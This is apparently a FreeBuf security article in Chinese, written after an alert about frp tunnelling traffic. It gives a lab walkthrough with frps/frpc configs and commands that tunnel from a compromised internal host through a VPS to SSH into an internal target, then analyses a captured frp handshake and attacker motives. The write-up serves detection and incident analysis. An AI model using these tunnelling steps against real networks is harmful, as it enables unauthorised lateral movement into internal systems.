彭瑞
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
一、起因
(一)告警信息
某日,威胁监测系统发现某互联网IP地址使用frp连接了某信息系统,给出了下面的描述和处置建议:
发现frp内网穿透工具,通常该工具用来内网穿透横向渗透,请管理员确认流量。
建议在网络出口处封禁攻击者IP。
(二)思考
- frp是如何实现内网穿透的?会产生什么样的影响?
- frp的流量特征是什么?
- 告警信息中frp的攻击是否成功?
二、frp的使用方法
frp 是一个开源、简洁易用、高性能的内网穿透和反向代理软件,支持 tcp, udp, http, https等协议。frp 项目官网是 https://github.com/fatedier/frp。
下面我们通过实验了解frp的使用方法。
(一)实验环境
kali 2022 | 192.168.159.15/24 | 攻击者 |
kali 2020 | 192.168.159.220/24 | VPS |
CentOS 7 | 192.168.242.101/24 | 内网机1(已失陷) |
Windows 11 | 192.168.242.110/24 | 内网机2(攻击目标) |
(二)实验思路
第一步,内网机1与VPS之间通过frp搭建隧道。通过隧道将内网机1的流量转发到VPS主机的7000端口。
第二步,攻击者连接VPS主机的6000端口,进而连接到内网主机2的ssh服务端口。
(三)实验过程
场景一,通过frp隧道访问内网攻击目标的ssh服务
第一步,搭建隧道
1) 获取frp
https://github.com/fatedier/frp/releases
支持多个主流平台。
//宿主机将frp相关文件上传到VPS
scp -r -p frp_0.40.0_linux_amd64 root@192.168.159.220:/home/user1/
//宿主机将frp相关文件上传到已失陷内网机
scp -r -p frp_0.40.0_linux_amd64 root@192.168.242.101:/home/user1/
2) VPS配置
//修改frps.ini配置文件,设置服务端监听工作端口(bind_port)以及访问密码(token):
vi frps.ini //加入下面的内容
[common]
bind_port = 7000
token = 1qaz@WSX
保存退出
//启动frps
./frps -c ./frps.ini
输出显示frp服务器已成功启动,正在监听本地的7000端口。
##### 3) 内网机配置
//编辑frpc.ini配置文件,指定VPS的IP地址、监听端口和连接密码
vi frpc.ini //加入下面的内容
[common]
server_addr = 192.168.159.220
server_port = 7000
token = 1qaz@WSX
[ssh]
#设置当访问者访问VPS的6000端口时,VPS将数据包转发到local_ip的local_port
#local_ip可以是内网机自身,就是127.0.0.1,也可以是内网机路由可达其它的IP地址,如本例中的192.168.242.110
type = tcp
local_ip = 192.168.242.110
local_port = 22
remote_port = 6000
保存退出
//启动frpc
./frpc -c frpc.ini
输出显示frp客户端已成功登录frp服务,并启动了针对ssh协议的代理服务。
第二步,攻击者访问内网机
//攻击者连接到VPS的监听端口,利用frp的隧道,连接到内网主机
ssh -p 6000 administrator@192.168.159.220
成功登录内网攻击目标(Windows 11系统)。
(四)实验结论
通过以上实验我们了解到,通过内网frp客户端和外网frp服务端之间的连接,可将内网打通,攻击者通过访问frp服务端主机的指定端口,可实现对内网路由可达的任意主机的访问。
三、frp的流量特征
做实验时没有关注流量特征,找一张网上的图:
https://cloud.tencent.com/developer/article/2339917
frp客户端首先对服务端监听端口发起连接,将自己的版本号、操作系统类型、平台架构、加密后的token信息等发送给frp服务端。
frp服务端在接收客户端请求后,返回自身的版本信息,并向frp客户端分配一个run_id。
之后双方开始加密传输数据。
四、延伸思考
(一)判断攻击是否成功
在告警信息界面,下载pcap包,使用wireshark打开,右键点击数据包条目,选择“追踪TCP流”,看到下面的信息:
{"version":"0.38.0","hostname":"","os":"windows","arch":"amd64","user":"","privilege_key":"a155174bb09e0de606a35e5258887bf8a","timestamp":1700179954,"run_id":"","metas":null,"pool_count":1}
在捕获的数据包中,前面的包全部用于TCP连接的协商,最后一个数据包是作为frp客户端的主机(185.91.69.113)向网站的外网地址发送的信息,包括版本号、操作系统类型、平台架构、加密后的token信息等。没有后续的数据包,原因很简单:网站服务器没有运行frp服务端程序。这样,攻击是失败的。
(二)攻击的目的
那么攻击者为什么要以frp客户端的身份连接别人的frp服务端呢?这是因为通过互联网找到frp服务端后,攻击者可以通过不断调整连接信息中的privilege参数的值(也就是配置文件中的token值)来通过frp服务端的认证。通过认证后,攻击者根据需要,让那些被自己控制的、需要隧道连接的内网主机,以frp客户端身份连接已被破解token的frp服务端。而攻击者自己可通过连接相同的frp服务端,利用隧道来实现对内网的访问。
那么为什么攻击者不使用在自己的VPS上部署的frp服务端呢?这是因为云主机的租用可能会暴露攻击者的身份,肉鸡的使用也有可能留下连接信息,而直接使用互联网上的frp服务端可实现很好的匿名性:因为攻击者连接的frp服务端口(remote_port)是自己指定的,这样很难对连接信息进行审计。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)